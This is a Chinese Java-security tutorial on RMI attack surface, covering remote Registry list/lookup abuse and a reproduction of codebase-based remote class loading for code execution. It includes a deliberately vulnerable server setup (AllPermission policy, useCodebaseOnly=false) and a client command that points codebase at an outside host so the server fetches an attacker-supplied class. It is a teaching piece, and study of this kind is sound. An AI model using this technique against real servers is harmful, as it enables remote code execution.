Java安全漫谈 - 05.RMI篇(2)

> 这是代码审计知识星球中Java安全的第五篇文章。

上一篇我们详细描述了RMI的通信过程，总结一下，一个RMI过程有以下三个参与者：

- RMI Registry
- RMI Server
- RMI Client

但是为什么我给的示例代码只有两个部分呢？原因是，通常我们在新建一个RMI Registry的时候，都会直接绑定一个对象在上面，也就是说我们示例代码中的Server其实包含了Registry和Server两部分：

```
1 LocateRegistry.createRegistry(1099);
2 Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloWorld());
```

第一行创建并运行RMI Registry，第二行将RemoteHelloWorld对象绑定到Hello这个名字上。

`Naming.bind`的第一个参数是一个URL，形如：`rmi://host:port/name`。其中，host和port就是RMI Registry的地址和端口，name是远程对象的名字。

如果RMI Registry在本地运行，那么host和port是可以省略的，此时host默认是`localhost`，port默认是`1099`：

```
1 Naming.bind("Hello", new RemoteHelloWorld());
```

以上就是RMI整个的原理与流程。接下来，我们很自然地想到，RMI会给我们带来哪些安全问题？

从两个方向思考一下这个问题：

1. 如果我们能访问RMI Registry服务，如何对其攻击？
2. 如果我们控制了目标RMI客户端中`Naming.lookup`的第一个参数（也就是RMI Registry的地址），能不能进行攻击？

如何攻击RMI Registry？

当我们可以访问目标RMI Registry的时候，会有哪些安全问题呢？

首先，RMI Registry是一个远程对象管理的地方，可以理解为一个远程对象的“后台”。我们可以尝试直接访问“后台”功能，比如修改远程服务器上Hello对应的对象：

```
1 RemoteHelloWorld h = new RemoteHelloWorld();
2 Naming.rebind("rmi://192.168.135.142:1099/Hello", h);
```

却爆出了这样的错误：

原来Java对远程访问RMI Registry做了限制，只有来源地址是localhost的时候，才能调用rebind、bind、unbind等方法。

不过list和lookup方法可以远程调用。

list方法可以列出目标上所有绑定的对象：

```
String[] s = Naming.list("rmi://192.168.135.142:1099");
```

lookup作用就是获得某个远程对象。

那么，只要目标服务器上存在一些危险方法，我们通过RMI就可以对其进行调用，之前曾经有一个工具 https://github.com/NickstaDB/BaRMIe，其中一个功能就是进行危险方法的探测。

但是显然，RMI的攻击面绝不仅仅是这样没营养。

RMI利用codebase执行任意代码

既然这个Java系列的文章要尽量全面地梳理Java知识，我们不妨将时间线拉的久远一些……

曾经有段时间，Java是可以运行在浏览器中的，对，就是Applet这个奇葩。在使用Applet的时候通常需要指定一个codebase属性，比如：

```
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>
```

除了Applet，RMI中也存在远程加载的场景，也会涉及到codebase。

codebase是一个地址，告诉Java虚拟机我们应该从哪个地方去搜索类，有点像我们日常用的CLASSPATH，但CLASSPATH是本地路径，而codebase通常是远程URL，比如http、ftp等。

如果我们指定`codebase=http://example.com/`，然后加载`org.vulhub.example.Example`类，则Java虚拟机会下载这个文件`http://example.com/org/vulhub/example/Example.class`，并作为Example类的字节码。

RMI的流程中，客户端和服务端之间传递的是一些序列化后的对象，这些对象在反序列化时，就会去寻找类。如果某一端反序列化时发现一个对象，那么就会去自己的CLASSPATH下寻找想对应的类；如果在本地没有找到这个类，就会去远程加载codebase中的类。

这个时候问题就来了，如果codebase被控制，我们不就可以加载恶意类了吗？

对，在RMI中，我们是可以将codebase随着序列化数据一起传输的，服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类，由于codebase被控制导致任意命令执行漏洞。

不过显然官方也注意到了这一个安全隐患，所以只有满足如下条件的RMI服务器才能被攻击：

- 安装并配置了SecurityManager

- Java版本低于7u21、6u45，或者设置了`java.rmi.server.useCodebaseOnly=false`

其中`java.rmi.server.useCodebaseOnly`是在Java 7u21、6u45的时候修改的一个默认设置：

- https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html
- https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

官方将`java.rmi.server.useCodebaseOnly`的默认值由`false`改为了`true`。在`java.rmi.server.useCodebaseOnly`配置为`true`的情况下，Java虚拟机将只信任预先配置好的`codebase`，不再支持从RMI请求中获取。

我们来编写一个简单的RMIServer用于复现这个漏洞。建立4个文件：

```
// ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
}

// Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;


public class Calc extends UnicastRemoteObject implements ICalc {
        public Calc() throws RemoteException {}

        public Integer sum(List<Integer> params) throws RemoteException {
            Integer sum = 0;
            for (Integer param : params) {
                sum += param;
            }
            return sum;
        }
}

// RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class RemoteRMIServer {
    private void start() throws Exception {
        if (System.getSecurityManager() == null) {
            System.out.println("setup SecurityManager");
            System.setSecurityManager(new SecurityManager());
        }

        Calc h = new Calc();
        LocateRegistry.createRegistry(1099);
```

```
        Naming.rebind("refObj", h);
    }

    public static void main(String[] args) throws Exception {
        new RemoteRMIServer().start();
    }
}

// client.policy
grant {
    permission java.security.AllPermission;
};
```

编译及运行：

```
javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 -
Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy
RemoteRMIServer
```

其中，`java.rmi.server.hostname`是服务器的IP地址，远程调用时需要根据这个值来访问RMI Server。

然后，我们再建立一个RMIClient.java：

```
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;

public class RMIClient implements Serializable {
    public class Payload extends ArrayList<Integer> {}

    public void lookup() throws Exception {
        ICalc r = (ICalc)
Naming.lookup("rmi://192.168.135.142:1099/refObj");

        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);

        System.out.println(r.sum(li));
    }

    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}

```

这个Client我们需要在另一个位置运行，因为我们需要让RMI Server在本地CLASSPATH里找不到类，才会去加载codebase中的类，所以不能将RMIClient.java放在RMI Server所在的目录中。

运行RMIClient：

```
java -Djava.rmi.server.useCodebaseOnly=false -
Djava.rmi.server.codebase=http://example.com/ RMIClient
```

此时会抛出一个magic value不正确的错误：

```
D:\tmp\rmi
λ java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://675ba661.n0p.co/ RMIClient
Exception in thread "main" java.rmi.ServerError: Error occurred in server thread; nested exception is:
        java.lang.ClassFormatError: Incompatible magic value 1214606444 in class file RMIClient$Payload
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:386)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:276)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:253)
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:162)
        at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:227)
        at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:179)
        at com.sun.proxy.$Proxy0.sum(Unknown Source)
        at RMIClient.lookup(RMIClient.java:16)
        at RMIClient.main(RMIClient.java:20)
Caused by: java.lang.ClassFormatError: Incompatible magic value 1214606444 in class file RMIClient$Payload
        at java.lang.ClassLoader.defineClass1(Native Method)
        at java.lang.ClassLoader.defineClass(ClassLoader.java:763)
        at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
```

查看example.com的日志，可见收到了来自Java的请求`/RMIClient$Payload.class`。因为我们还没有实际放置这个类文件，所以上面出现了异常：

Web记录详情

METHOD	GET
PATH	/RMIClient$Payload.class
HOST	675ba661.n0p.co
USER_AGENT	Java/1.8.0_212
ACCEPT	text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
X_FORWARDED_FOR	[redacted]
X_FORWARDED_PROTO	http
X_REAL_IP	[redacted]
ACCEPT_ENCODING	gzip

我们只需要编译一个恶意类，将其class文件放置在Web服务器的`/RMIClient$Payload.class`即可。

这个代码执行的方法，在很多人写JNDI注入的时候会随口提一句，但因为条件较苛刻，大部分人并没有去深入研究，我这里因为是全面梳理Java历史上的一些Tricks，所以详细地进行了分析与复现。